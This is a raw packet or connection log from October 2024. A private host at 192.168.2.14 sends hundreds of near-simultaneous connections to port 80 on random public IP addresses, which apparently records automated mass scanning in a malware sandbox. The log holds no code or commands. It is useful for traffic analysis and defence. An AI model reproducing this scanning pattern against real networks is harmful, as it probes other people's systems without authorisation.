Oct 14, 2024 17:34:18.224559069 CEST	29626	80	192.168.2.14	27.231.162.86
Oct 14, 2024 17:34:18.224559069 CEST	29626	80	192.168.2.14	78.108.149.146
Oct 14, 2024 17:34:18.224559069 CEST	29626	80	192.168.2.14	213.196.214.152
Oct 14, 2024 17:34:18.224559069 CEST	29626	80	192.168.2.14	136.210.34.206
Oct 14, 2024 17:34:18.224559069 CEST	29626	80	192.168.2.14	41.100.6.240
Oct 14, 2024 17:34:18.224575043 CEST	29626	80	192.168.2.14	146.169.203.189
Oct 14, 2024 17:34:18.224575043 CEST	29626	80	192.168.2.14	160.198.178.156
Oct 14, 2024 17:34:18.224575043 CEST	29626	80	192.168.2.14	188.170.87.174
Oct 14, 2024 17:34:18.224575043 CEST	29626	80	192.168.2.14	118.224.185.75
Oct 14, 2024 17:34:18.224577904 CEST	29626	80	192.168.2.14	122.36.30.7
Oct 14, 2024 17:34:18.224577904 CEST	29626	80	192.168.2.14	157.17.109.147
Oct 14, 2024 17:34:18.224591017 CEST	29626	80	192.168.2.14	90.84.167.122
Oct 14, 2024 17:34:18.224591970 CEST	29626	80	192.168.2.14	135.153.124.81
Oct 14, 2024 17:34:18.224594116 CEST	29626	80	192.168.2.14	118.71.167.97
Oct 14, 2024 17:34:18.224594116 CEST	29626	80	192.168.2.14	149.153.31.210
Oct 14, 2024 17:34:18.224598885 CEST	29626	80	192.168.2.14	62.32.166.49
Oct 14, 2024 17:34:18.224601030 CEST	29626	80	192.168.2.14	149.81.9.37
Oct 14, 2024 17:34:18.224605083 CEST	29626	80	192.168.2.14	78.92.166.156
Oct 14, 2024 17:34:18.224606037 CEST	29626	80	192.168.2.14	173.244.240.240
Oct 14, 2024 17:34:18.224613905 CEST	29626	80	192.168.2.14	65.81.242.1
Oct 14, 2024 17:34:18.224616051 CEST	29626	80	192.168.2.14	183.79.49.91
Oct 14, 2024 17:34:18.224616051 CEST	29626	80	192.168.2.14	145.211.77.58
Oct 14, 2024 17:34:18.224616051 CEST	29626	80	192.168.2.14	163.173.241.166
Oct 14, 2024 17:34:18.224622965 CEST	29626	80	192.168.2.14	204.4.89.193
Oct 14, 2024 17:34:18.224637985 CEST	29626	80	192.168.2.14	91.77.171.179
Oct 14, 2024 17:34:18.224637985 CEST	29626	80	192.168.2.14	13.217.199.228
Oct 14, 2024 17:34:18.224651098 CEST	29626	80	192.168.2.14	122.86.111.93
Oct 14, 2024 17:34:18.224657059 CEST	29626	80	192.168.2.14	75.20.254.63
Oct 14, 2024 17:34:18.224658012 CEST	29626	80	192.168.2.14	48.248.1.148
Oct 14, 2024 17:34:18.224657059 CEST	29626	80	192.168.2.14	195.235.28.231
Oct 14, 2024 17:34:18.224657059 CEST	29626	80	192.168.2.14	138.205.85.72
Oct 14, 2024 17:34:18.224659920 CEST	29626	80	192.168.2.14	135.141.20.105
Oct 14, 2024 17:34:18.224669933 CEST	29626	80	192.168.2.14	111.185.19.132
Oct 14, 2024 17:34:18.224673033 CEST	29626	80	192.168.2.14	78.173.241.131
Oct 14, 2024 17:34:18.224679947 CEST	29626	80	192.168.2.14	174.4.213.85
Oct 14, 2024 17:34:18.224683046 CEST	29626	80	192.168.2.14	219.11.228.17
Oct 14, 2024 17:34:18.224699020 CEST	29626	80	192.168.2.14	42.204.226.243
Oct 14, 2024 17:34:18.224699974 CEST	29626	80	192.168.2.14	104.91.76.198
Oct 14, 2024 17:34:18.224703074 CEST	29626	80	192.168.2.14	130.180.131.172
Oct 14, 2024 17:34:18.224706888 CEST	29626	80	192.168.2.14	24.218.130.114
Oct 14, 2024 17:34:18.224710941 CEST	29626	80	192.168.2.14	51.148.196.227
Oct 14, 2024 17:34:18.224710941 CEST	29626	80	192.168.2.14	72.205.248.87
Oct 14, 2024 17:34:18.224720001 CEST	29626	80	192.168.2.14	90.246.217.205
Oct 14, 2024 17:34:18.224720001 CEST	29626	80	192.168.2.14	156.26.254.197
Oct 14, 2024 17:34:18.224720001 CEST	29626	80	192.168.2.14	77.36.0.34
Oct 14, 2024 17:34:18.224720955 CEST	29626	80	192.168.2.14	39.125.49.65
Oct 14, 2024 17:34:18.224720955 CEST	29626	80	192.168.2.14	105.216.192.164
Oct 14, 2024 17:34:18.224726915 CEST	29626	80	192.168.2.14	67.126.244.191
Oct 14, 2024 17:34:18.224726915 CEST	29626	80	192.168.2.14	162.51.120.27
Oct 14, 2024 17:34:18.224729061 CEST	29626	80	192.168.2.14	186.61.1.231
Oct 14, 2024 17:34:18.224746943 CEST	29626	80	192.168.2.14	222.14.109.251
Oct 14, 2024 17:34:18.224749088 CEST	29626	80	192.168.2.14	200.42.167.16
Oct 14, 2024 17:34:18.224759102 CEST	29626	80	192.168.2.14	62.84.221.165
Oct 14, 2024 17:34:18.224759102 CEST	29626	80	192.168.2.14	122.59.123.232
Oct 14, 2024 17:34:18.224759102 CEST	29626	80	192.168.2.14	188.140.236.106
Oct 14, 2024 17:34:18.224759102 CEST	29626	80	192.168.2.14	121.194.65.5
Oct 14, 2024 17:34:18.224771023 CEST	29626	80	192.168.2.14	39.181.200.19
Oct 14, 2024 17:34:18.224776030 CEST	29626	80	192.168.2.14	93.244.181.52
Oct 14, 2024 17:34:18.224776030 CEST	29626	80	192.168.2.14	12.170.133.6
Oct 14, 2024 17:34:18.224777937 CEST	29626	80	192.168.2.14	37.21.5.189
Oct 14, 2024 17:34:18.224791050 CEST	29626	80	192.168.2.14	221.9.238.84
Oct 14, 2024 17:34:18.224791050 CEST	29626	80	192.168.2.14	81.253.197.67
Oct 14, 2024 17:34:18.224797964 CEST	29626	80	192.168.2.14	161.173.97.152
Oct 14, 2024 17:34:18.224797964 CEST	29626	80	192.168.2.14	49.81.191.139
Oct 14, 2024 17:34:18.224798918 CEST	29626	80	192.168.2.14	122.127.95.193
Oct 14, 2024 17:34:18.224807978 CEST	29626	80	192.168.2.14	208.105.198.199
Oct 14, 2024 17:34:18.224817991 CEST	29626	80	192.168.2.14	165.80.66.110
Oct 14, 2024 17:34:18.224817991 CEST	29626	80	192.168.2.14	129.82.189.152
Oct 14, 2024 17:34:18.224817991 CEST	29626	80	192.168.2.14	218.183.4.99
Oct 14, 2024 17:34:18.224824905 CEST	29626	80	192.168.2.14	195.144.166.237
Oct 14, 2024 17:34:18.224838972 CEST	29626	80	192.168.2.14	221.56.110.192
Oct 14, 2024 17:34:18.224839926 CEST	29626	80	192.168.2.14	79.44.111.96
Oct 14, 2024 17:34:18.224842072 CEST	29626	80	192.168.2.14	201.81.100.246
Oct 14, 2024 17:34:18.224842072 CEST	29626	80	192.168.2.14	143.19.136.45
Oct 14, 2024 17:34:18.224854946 CEST	29626	80	192.168.2.14	120.226.161.150
Oct 14, 2024 17:34:18.224859953 CEST	29626	80	192.168.2.14	141.163.54.66
Oct 14, 2024 17:34:18.224862099 CEST	29626	80	192.168.2.14	213.232.167.239
Oct 14, 2024 17:34:18.224875927 CEST	29626	80	192.168.2.14	24.66.178.140
Oct 14, 2024 17:34:18.224878073 CEST	29626	80	192.168.2.14	69.159.195.148
Oct 14, 2024 17:34:18.224890947 CEST	29626	80	192.168.2.14	132.72.107.106
Oct 14, 2024 17:34:18.224905014 CEST	29626	80	192.168.2.14	140.98.241.108
Oct 14, 2024 17:34:18.224905014 CEST	29626	80	192.168.2.14	173.105.124.98
Oct 14, 2024 17:34:18.224917889 CEST	29626	80	192.168.2.14	98.20.113.96
Oct 14, 2024 17:34:18.224917889 CEST	29626	80	192.168.2.14	76.59.111.96
Oct 14, 2024 17:34:18.224920034 CEST	29626	80	192.168.2.14	203.223.238.87
Oct 14, 2024 17:34:18.224920034 CEST	29626	80	192.168.2.14	79.134.217.170
Oct 14, 2024 17:34:18.224925995 CEST	29626	80	192.168.2.14	210.95.56.144
Oct 14, 2024 17:34:18.224925995 CEST	29626	80	192.168.2.14	27.0.16.158
Oct 14, 2024 17:34:18.224931002 CEST	29626	80	192.168.2.14	126.135.59.224
Oct 14, 2024 17:34:18.224942923 CEST	29626	80	192.168.2.14	4.188.250.222
Oct 14, 2024 17:34:18.224946022 CEST	29626	80	192.168.2.14	199.148.102.44
Oct 14, 2024 17:34:18.224947929 CEST	29626	80	192.168.2.14	92.40.134.68
Oct 14, 2024 17:34:18.224961042 CEST	29626	80	192.168.2.14	201.193.205.155
Oct 14, 2024 17:34:18.224961042 CEST	29626	80	192.168.2.14	206.47.245.50
Oct 14, 2024 17:34:18.224973917 CEST	29626	80	192.168.2.14	90.85.236.37
Oct 14, 2024 17:34:18.224977016 CEST	29626	80	192.168.2.14	195.33.146.161
Oct 14, 2024 17:34:18.224989891 CEST	29626	80	192.168.2.14	178.116.255.201
Oct 14, 2024 17:34:18.224989891 CEST	29626	80	192.168.2.14	175.199.146.58
Oct 14, 2024 17:34:18.224989891 CEST	29626	80	192.168.2.14	126.77.42.110
Oct 14, 2024 17:34:18.224999905 CEST	29626	80	192.168.2.14	18.151.1.39
Oct 14, 2024 17:34:18.225009918 CEST	29626	80	192.168.2.14	100.9.235.59
Oct 14, 2024 17:34:18.225011110 CEST	29626	80	192.168.2.14	128.249.30.143
Oct 14, 2024 17:34:18.225009918 CEST	29626	80	192.168.2.14	162.27.27.59
Oct 14, 2024 17:34:18.225011110 CEST	29626	80	192.168.2.14	87.252.210.49
Oct 14, 2024 17:34:18.225023031 CEST	29626	80	192.168.2.14	222.154.186.9
Oct 14, 2024 17:34:18.225034952 CEST	29626	80	192.168.2.14	86.36.139.196
Oct 14, 2024 17:34:18.225043058 CEST	29626	80	192.168.2.14	164.69.250.4
Oct 14, 2024 17:34:18.225044966 CEST	29626	80	192.168.2.14	166.253.206.229
Oct 14, 2024 17:34:18.225047112 CEST	29626	80	192.168.2.14	144.184.234.87
Oct 14, 2024 17:34:18.225055933 CEST	29626	80	192.168.2.14	93.124.18.86
Oct 14, 2024 17:34:18.225055933 CEST	29626	80	192.168.2.14	138.83.99.157
Oct 14, 2024 17:34:18.225059986 CEST	29626	80	192.168.2.14	75.152.230.139
Oct 14, 2024 17:34:18.225070953 CEST	29626	80	192.168.2.14	138.253.55.98
Oct 14, 2024 17:34:18.225076914 CEST	29626	80	192.168.2.14	201.184.96.34
Oct 14, 2024 17:34:18.225076914 CEST	29626	80	192.168.2.14	163.1.82.13
Oct 14, 2024 17:34:18.225090981 CEST	29626	80	192.168.2.14	71.107.104.151
Oct 14, 2024 17:34:18.225090981 CEST	29626	80	192.168.2.14	107.136.170.128
Oct 14, 2024 17:34:18.225095034 CEST	29626	80	192.168.2.14	78.165.112.170
Oct 14, 2024 17:34:18.225099087 CEST	29626	80	192.168.2.14	105.130.214.28
Oct 14, 2024 17:34:18.225112915 CEST	29626	80	192.168.2.14	19.208.58.46
Oct 14, 2024 17:34:18.225112915 CEST	29626	80	192.168.2.14	198.82.89.60
Oct 14, 2024 17:34:18.225119114 CEST	29626	80	192.168.2.14	204.243.140.173
Oct 14, 2024 17:34:18.225127935 CEST	29626	80	192.168.2.14	139.87.208.245
Oct 14, 2024 17:34:18.225131989 CEST	29626	80	192.168.2.14	60.246.11.252
Oct 14, 2024 17:34:18.225143909 CEST	29626	80	192.168.2.14	191.232.235.26
Oct 14, 2024 17:34:18.225146055 CEST	29626	80	192.168.2.14	72.124.8.20
Oct 14, 2024 17:34:18.225146055 CEST	29626	80	192.168.2.14	47.163.167.122
Oct 14, 2024 17:34:18.225155115 CEST	29626	80	192.168.2.14	14.80.175.137
Oct 14, 2024 17:34:18.225161076 CEST	29626	80	192.168.2.14	66.19.154.221
Oct 14, 2024 17:34:18.225163937 CEST	29626	80	192.168.2.14	191.62.190.246
Oct 14, 2024 17:34:18.225166082 CEST	29626	80	192.168.2.14	140.30.188.132
Oct 14, 2024 17:34:18.225182056 CEST	29626	80	192.168.2.14	90.183.246.128
Oct 14, 2024 17:34:18.225183010 CEST	29626	80	192.168.2.14	145.243.127.229
Oct 14, 2024 17:34:18.225183010 CEST	29626	80	192.168.2.14	152.72.233.133
Oct 14, 2024 17:34:18.225183010 CEST	29626	80	192.168.2.14	44.15.42.230
Oct 14, 2024 17:34:18.225183964 CEST	29626	80	192.168.2.14	205.102.93.48
Oct 14, 2024 17:34:18.225198984 CEST	29626	80	192.168.2.14	128.34.57.18
Oct 14, 2024 17:34:18.225198984 CEST	29626	80	192.168.2.14	102.220.219.141
Oct 14, 2024 17:34:18.225210905 CEST	29626	80	192.168.2.14	148.130.91.254
Oct 14, 2024 17:34:18.225210905 CEST	29626	80	192.168.2.14	78.21.82.204
Oct 14, 2024 17:34:18.225210905 CEST	29626	80	192.168.2.14	99.196.196.176
Oct 14, 2024 17:34:18.225218058 CEST	29626	80	192.168.2.14	94.132.179.228
Oct 14, 2024 17:34:18.225223064 CEST	29626	80	192.168.2.14	63.37.147.93
Oct 14, 2024 17:34:18.225223064 CEST	29626	80	192.168.2.14	99.248.28.20
Oct 14, 2024 17:34:18.225243092 CEST	29626	80	192.168.2.14	144.66.255.60
Oct 14, 2024 17:34:18.225244045 CEST	29626	80	192.168.2.14	196.66.203.153
Oct 14, 2024 17:34:18.225243092 CEST	29626	80	192.168.2.14	174.136.126.88
Oct 14, 2024 17:34:18.225250959 CEST	29626	80	192.168.2.14	195.239.233.247
Oct 14, 2024 17:34:18.225251913 CEST	29626	80	192.168.2.14	187.77.51.247
Oct 14, 2024 17:34:18.225260973 CEST	29626	80	192.168.2.14	120.51.254.153
Oct 14, 2024 17:34:18.225260973 CEST	29626	80	192.168.2.14	209.249.58.106
Oct 14, 2024 17:34:18.225261927 CEST	29626	80	192.168.2.14	133.253.89.200
Oct 14, 2024 17:34:18.225272894 CEST	29626	80	192.168.2.14	66.179.191.156
Oct 14, 2024 17:34:18.225277901 CEST	29626	80	192.168.2.14	101.115.128.254
Oct 14, 2024 17:34:18.225277901 CEST	29626	80	192.168.2.14	199.185.70.11
Oct 14, 2024 17:34:18.225287914 CEST	29626	80	192.168.2.14	117.215.148.152
Oct 14, 2024 17:34:18.225291014 CEST	29626	80	192.168.2.14	132.241.32.105
Oct 14, 2024 17:34:18.225297928 CEST	29626	80	192.168.2.14	105.92.145.141
Oct 14, 2024 17:34:18.225312948 CEST	29626	80	192.168.2.14	76.81.127.142
Oct 14, 2024 17:34:18.225322008 CEST	29626	80	192.168.2.14	139.255.136.201
Oct 14, 2024 17:34:18.225322008 CEST	29626	80	192.168.2.14	4.40.194.34
Oct 14, 2024 17:34:18.225331068 CEST	29626	80	192.168.2.14	130.49.155.80
Oct 14, 2024 17:34:18.225331068 CEST	29626	80	192.168.2.14	73.21.112.177
Oct 14, 2024 17:34:18.225337029 CEST	29626	80	192.168.2.14	157.111.201.116
Oct 14, 2024 17:34:18.225337982 CEST	29626	80	192.168.2.14	25.29.183.44
Oct 14, 2024 17:34:18.225337982 CEST	29626	80	192.168.2.14	53.39.21.203
Oct 14, 2024 17:34:18.225342035 CEST	29626	80	192.168.2.14	218.151.240.150
Oct 14, 2024 17:34:18.225343943 CEST	29626	80	192.168.2.14	160.129.186.120
Oct 14, 2024 17:34:18.225357056 CEST	29626	80	192.168.2.14	176.22.154.183
Oct 14, 2024 17:34:18.225359917 CEST	29626	80	192.168.2.14	119.1.70.86
Oct 14, 2024 17:34:18.225359917 CEST	29626	80	192.168.2.14	142.104.158.48
Oct 14, 2024 17:34:18.225363016 CEST	29626	80	192.168.2.14	146.36.253.22
Oct 14, 2024 17:34:18.225378036 CEST	29626	80	192.168.2.14	64.21.71.156
Oct 14, 2024 17:34:18.225378036 CEST	29626	80	192.168.2.14	177.147.160.78
Oct 14, 2024 17:34:18.225378036 CEST	29626	80	192.168.2.14	51.102.90.69
Oct 14, 2024 17:34:18.225383043 CEST	29626	80	192.168.2.14	52.27.87.67
Oct 14, 2024 17:34:18.225383043 CEST	29626	80	192.168.2.14	32.189.9.52
Oct 14, 2024 17:34:18.225394011 CEST	29626	80	192.168.2.14	142.2.153.60
Oct 14, 2024 17:34:18.225398064 CEST	29626	80	192.168.2.14	89.70.161.157
Oct 14, 2024 17:34:18.225413084 CEST	29626	80	192.168.2.14	205.208.217.174
Oct 14, 2024 17:34:18.225414038 CEST	29626	80	192.168.2.14	90.224.13.149
Oct 14, 2024 17:34:18.225420952 CEST	29626	80	192.168.2.14	164.128.237.13
Oct 14, 2024 17:34:18.225424051 CEST	29626	80	192.168.2.14	80.241.237.207
Oct 14, 2024 17:34:18.225424051 CEST	29626	80	192.168.2.14	42.204.178.186
Oct 14, 2024 17:34:18.225426912 CEST	29626	80	192.168.2.14	184.40.68.37
Oct 14, 2024 17:34:18.225428104 CEST	29626	80	192.168.2.14	192.110.255.93
Oct 14, 2024 17:34:18.225429058 CEST	29626	80	192.168.2.14	1.78.89.118
Oct 14, 2024 17:34:18.225436926 CEST	29626	80	192.168.2.14	128.153.3.183
Oct 14, 2024 17:34:18.225436926 CEST	29626	80	192.168.2.14	207.249.206.110
Oct 14, 2024 17:34:18.225436926 CEST	29626	80	192.168.2.14	114.114.204.160
Oct 14, 2024 17:34:18.225438118 CEST	29626	80	192.168.2.14	53.97.232.8
Oct 14, 2024 17:34:18.225442886 CEST	29626	80	192.168.2.14	139.195.19.46
Oct 14, 2024 17:34:18.225460052 CEST	29626	80	192.168.2.14	82.121.28.114
Oct 14, 2024 17:34:18.225461960 CEST	29626	80	192.168.2.14	171.174.237.167
Oct 14, 2024 17:34:18.225461960 CEST	29626	80	192.168.2.14	50.68.160.42
Oct 14, 2024 17:34:18.225461960 CEST	29626	80	192.168.2.14	71.89.3.69
Oct 14, 2024 17:34:18.225478888 CEST	29626	80	192.168.2.14	137.186.67.253
Oct 14, 2024 17:34:18.225478888 CEST	29626	80	192.168.2.14	39.190.108.177
Oct 14, 2024 17:34:18.225480080 CEST	29626	80	192.168.2.14	186.247.7.104
Oct 14, 2024 17:34:18.225481033 CEST	29626	80	192.168.2.14	179.234.221.211
Oct 14, 2024 17:34:18.225486994 CEST	29626	80	192.168.2.14	25.40.142.94
Oct 14, 2024 17:34:18.225486994 CEST	29626	80	192.168.2.14	100.42.210.178
Oct 14, 2024 17:34:18.225490093 CEST	29626	80	192.168.2.14	113.197.62.209
Oct 14, 2024 17:34:18.225497007 CEST	29626	80	192.168.2.14	35.114.148.96
Oct 14, 2024 17:34:18.225507021 CEST	29626	80	192.168.2.14	106.117.63.87
Oct 14, 2024 17:34:18.225512028 CEST	29626	80	192.168.2.14	106.223.62.226
Oct 14, 2024 17:34:18.225517035 CEST	29626	80	192.168.2.14	37.239.241.139
Oct 14, 2024 17:34:18.225528002 CEST	29626	80	192.168.2.14	80.56.227.125
Oct 14, 2024 17:34:18.225528955 CEST	29626	80	192.168.2.14	51.214.156.144
Oct 14, 2024 17:34:18.225529909 CEST	29626	80	192.168.2.14	137.3.92.223
Oct 14, 2024 17:34:18.225529909 CEST	29626	80	192.168.2.14	179.89.49.47
Oct 14, 2024 17:34:18.225529909 CEST	29626	80	192.168.2.14	156.53.96.123
Oct 14, 2024 17:34:18.225539923 CEST	29626	80	192.168.2.14	34.42.0.77
Oct 14, 2024 17:34:18.225539923 CEST	29626	80	192.168.2.14	124.20.158.224
Oct 14, 2024 17:34:18.225541115 CEST	29626	80	192.168.2.14	153.67.221.5
Oct 14, 2024 17:34:18.225541115 CEST	29626	80	192.168.2.14	166.121.248.199
Oct 14, 2024 17:34:18.225552082 CEST	29626	80	192.168.2.14	49.209.254.106
Oct 14, 2024 17:34:18.225560904 CEST	29626	80	192.168.2.14	195.173.102.79
Oct 14, 2024 17:34:18.225564003 CEST	29626	80	192.168.2.14	179.126.222.167
Oct 14, 2024 17:34:18.225564003 CEST	29626	80	192.168.2.14	79.214.81.192
Oct 14, 2024 17:34:18.225575924 CEST	29626	80	192.168.2.14	1.183.122.110
Oct 14, 2024 17:34:18.225577116 CEST	29626	80	192.168.2.14	162.148.121.74
Oct 14, 2024 17:34:18.225591898 CEST	29626	80	192.168.2.14	36.108.206.226
Oct 14, 2024 17:34:18.225594997 CEST	29626	80	192.168.2.14	31.9.52.146
Oct 14, 2024 17:34:18.225599051 CEST	29626	80	192.168.2.14	222.148.185.149
Oct 14, 2024 17:34:18.225599051 CEST	29626	80	192.168.2.14	95.237.21.182
Oct 14, 2024 17:34:18.225600958 CEST	29626	80	192.168.2.14	27.23.244.171
Oct 14, 2024 17:34:18.225600958 CEST	29626	80	192.168.2.14	209.20.27.165
Oct 14, 2024 17:34:18.225600958 CEST	29626	80	192.168.2.14	23.85.129.179
Oct 14, 2024 17:34:18.225615025 CEST	29626	80	192.168.2.14	69.216.66.50
Oct 14, 2024 17:34:18.225620985 CEST	29626	80	192.168.2.14	72.133.139.31
Oct 14, 2024 17:34:18.225621939 CEST	29626	80	192.168.2.14	58.228.17.158
Oct 14, 2024 17:34:18.225630999 CEST	29626	80	192.168.2.14	161.128.225.129
Oct 14, 2024 17:34:18.225637913 CEST	29626	80	192.168.2.14	53.60.42.110
Oct 14, 2024 17:34:18.225641966 CEST	29626	80	192.168.2.14	173.152.144.117
Oct 14, 2024 17:34:18.225641966 CEST	29626	80	192.168.2.14	112.51.168.28
Oct 14, 2024 17:34:18.225644112 CEST	29626	80	192.168.2.14	77.219.96.97
Oct 14, 2024 17:34:18.225656986 CEST	29626	80	192.168.2.14	139.12.174.178
Oct 14, 2024 17:34:18.225656986 CEST	29626	80	192.168.2.14	98.204.59.21
Oct 14, 2024 17:34:18.225658894 CEST	29626	80	192.168.2.14	4.85.126.93
Oct 14, 2024 17:34:18.225671053 CEST	29626	80	192.168.2.14	61.33.74.219
Oct 14, 2024 17:34:18.225676060 CEST	29626	80	192.168.2.14	58.64.173.93
Oct 14, 2024 17:34:18.225677967 CEST	29626	80	192.168.2.14	150.83.92.10
Oct 14, 2024 17:34:18.225691080 CEST	29626	80	192.168.2.14	217.182.94.70
Oct 14, 2024 17:34:18.225691080 CEST	29626	80	192.168.2.14	195.179.105.89
Oct 14, 2024 17:34:18.225697041 CEST	29626	80	192.168.2.14	47.107.226.243
Oct 14, 2024 17:34:18.225708008 CEST	29626	80	192.168.2.14	213.12.134.253
Oct 14, 2024 17:34:18.225708961 CEST	29626	80	192.168.2.14	136.173.71.146
Oct 14, 2024 17:34:18.225724936 CEST	29626	80	192.168.2.14	175.25.245.161
Oct 14, 2024 17:34:18.225725889 CEST	29626	80	192.168.2.14	223.112.12.134
Oct 14, 2024 17:34:18.225725889 CEST	29626	80	192.168.2.14	212.61.160.156
Oct 14, 2024 17:34:18.225737095 CEST	29626	80	192.168.2.14	158.247.240.226
Oct 14, 2024 17:34:18.225750923 CEST	29626	80	192.168.2.14	65.23.138.131
Oct 14, 2024 17:34:18.225754023 CEST	29626	80	192.168.2.14	193.165.131.105
Oct 14, 2024 17:34:18.225754023 CEST	29626	80	192.168.2.14	12.57.233.79
Oct 14, 2024 17:34:18.225761890 CEST	29626	80	192.168.2.14	59.67.227.100
Oct 14, 2024 17:34:18.225765944 CEST	29626	80	192.168.2.14	141.175.79.168
Oct 14, 2024 17:34:18.225769997 CEST	29626	80	192.168.2.14	168.29.243.149
Oct 14, 2024 17:34:18.225780010 CEST	29626	80	192.168.2.14	166.143.183.141
Oct 14, 2024 17:34:18.225790977 CEST	29626	80	192.168.2.14	64.205.192.234
Oct 14, 2024 17:34:18.225790977 CEST	29626	80	192.168.2.14	12.10.94.125
Oct 14, 2024 17:34:18.225809097 CEST	29626	80	192.168.2.14	162.194.155.61
Oct 14, 2024 17:34:18.225810051 CEST	29626	80	192.168.2.14	220.162.138.116
Oct 14, 2024 17:34:18.225814104 CEST	29626	80	192.168.2.14	69.120.197.30
Oct 14, 2024 17:34:18.225824118 CEST	29626	80	192.168.2.14	40.28.60.151
Oct 14, 2024 17:34:18.225824118 CEST	29626	80	192.168.2.14	72.206.84.171
Oct 14, 2024 17:34:18.225824118 CEST	29626	80	192.168.2.14	204.37.95.209
Oct 14, 2024 17:34:18.225827932 CEST	29626	80	192.168.2.14	87.103.68.8
Oct 14, 2024 17:34:18.225842953 CEST	29626	80	192.168.2.14	61.65.225.78
Oct 14, 2024 17:34:18.225843906 CEST	29626	80	192.168.2.14	154.229.221.175
Oct 14, 2024 17:34:18.225843906 CEST	29626	80	192.168.2.14	71.214.79.98
Oct 14, 2024 17:34:18.225845098 CEST	29626	80	192.168.2.14	159.52.62.8
Oct 14, 2024 17:34:18.225845098 CEST	29626	80	192.168.2.14	166.37.113.129
Oct 14, 2024 17:34:18.225845098 CEST	29626	80	192.168.2.14	102.175.245.228
Oct 14, 2024 17:34:18.225845098 CEST	29626	80	192.168.2.14	106.154.17.138
Oct 14, 2024 17:34:18.225847006 CEST	29626	80	192.168.2.14	111.30.177.172
Oct 14, 2024 17:34:18.225861073 CEST	29626	80	192.168.2.14	182.217.51.239
Oct 14, 2024 17:34:18.225862980 CEST	29626	80	192.168.2.14	199.143.191.250
Oct 14, 2024 17:34:18.225862980 CEST	29626	80	192.168.2.14	63.136.205.251
Oct 14, 2024 17:34:18.225869894 CEST	29626	80	192.168.2.14	9.41.188.153
Oct 14, 2024 17:34:18.225869894 CEST	29626	80	192.168.2.14	181.219.103.164
Oct 14, 2024 17:34:18.225869894 CEST	29626	80	192.168.2.14	85.188.45.148
Oct 14, 2024 17:34:18.225872993 CEST	29626	80	192.168.2.14	68.8.241.220
Oct 14, 2024 17:34:18.225873947 CEST	29626	80	192.168.2.14	202.146.254.204
Oct 14, 2024 17:34:18.225877047 CEST	29626	80	192.168.2.14	18.177.0.131
Oct 14, 2024 17:34:18.225888014 CEST	29626	80	192.168.2.14	184.59.100.3
Oct 14, 2024 17:34:18.225888968 CEST	29626	80	192.168.2.14	220.149.143.159
Oct 14, 2024 17:34:18.225902081 CEST	29626	80	192.168.2.14	84.32.79.77
Oct 14, 2024 17:34:18.225908995 CEST	29626	80	192.168.2.14	171.162.132.188
Oct 14, 2024 17:34:18.225908995 CEST	29626	80	192.168.2.14	25.218.154.68
Oct 14, 2024 17:34:18.225922108 CEST	29626	80	192.168.2.14	27.201.10.35
Oct 14, 2024 17:34:18.225929976 CEST	29626	80	192.168.2.14	205.135.81.50
Oct 14, 2024 17:34:18.225930929 CEST	29626	80	192.168.2.14	182.177.126.190
Oct 14, 2024 17:34:18.225930929 CEST	29626	80	192.168.2.14	142.110.204.200
Oct 14, 2024 17:34:18.225930929 CEST	29626	80	192.168.2.14	180.163.136.232
Oct 14, 2024 17:34:18.225933075 CEST	29626	80	192.168.2.14	84.248.225.201
Oct 14, 2024 17:34:18.225933075 CEST	29626	80	192.168.2.14	24.57.221.0
Oct 14, 2024 17:34:18.225949049 CEST	29626	80	192.168.2.14	213.200.237.60
Oct 14, 2024 17:34:18.225949049 CEST	29626	80	192.168.2.14	156.181.113.253
Oct 14, 2024 17:34:18.225949049 CEST	29626	80	192.168.2.14	166.30.49.243
Oct 14, 2024 17:34:18.225955963 CEST	29626	80	192.168.2.14	44.98.148.16
Oct 14, 2024 17:34:18.225964069 CEST	29626	80	192.168.2.14	17.138.3.140
Oct 14, 2024 17:34:18.225966930 CEST	29626	80	192.168.2.14	149.131.7.8
Oct 14, 2024 17:34:18.225980043 CEST	29626	80	192.168.2.14	39.242.12.20
Oct 14, 2024 17:34:18.225980997 CEST	29626	80	192.168.2.14	204.144.191.19
Oct 14, 2024 17:34:18.225997925 CEST	29626	80	192.168.2.14	1.63.186.158
Oct 14, 2024 17:34:18.226181030 CEST	45246	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:18.226191998 CEST	29626	80	192.168.2.14	98.81.250.153
Oct 14, 2024 17:34:18.226197004 CEST	45246	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:18.229825020 CEST	45318	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:18.230396032 CEST	45762	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:18.230396032 CEST	45762	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:18.230902910 CEST	45826	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:18.230972052 CEST	80	34346	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:18.231013060 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:18.231314898 CEST	80	45246	130.143.3.66	192.168.2.14
Oct 14, 2024 17:34:18.235233068 CEST	80	45762	79.42.6.55	192.168.2.14
Oct 14, 2024 17:34:18.247184992 CEST	37215	44544	197.32.90.183	192.168.2.14
Oct 14, 2024 17:34:18.251393080 CEST	52210	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:18.251415014 CEST	36206	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:18.251420021 CEST	44670	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:18.251420021 CEST	41240	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:18.251420021 CEST	36596	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:18.251420021 CEST	39136	80	192.168.2.14	132.131.248.19
Oct 14, 2024 17:34:18.251421928 CEST	53802	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:18.251421928 CEST	36768	80	192.168.2.14	210.49.155.136
Oct 14, 2024 17:34:18.251432896 CEST	47392	80	192.168.2.14	194.57.52.250
Oct 14, 2024 17:34:18.251432896 CEST	37192	80	192.168.2.14	161.83.52.227
Oct 14, 2024 17:34:18.251440048 CEST	50272	80	192.168.2.14	164.109.7.193
Oct 14, 2024 17:34:18.251441956 CEST	38086	80	192.168.2.14	123.237.1.222
Oct 14, 2024 17:34:18.251444101 CEST	47592	80	192.168.2.14	62.188.228.117
Oct 14, 2024 17:34:18.251447916 CEST	33448	80	192.168.2.14	208.26.103.154
Oct 14, 2024 17:34:18.251456022 CEST	58922	80	192.168.2.14	72.178.53.232
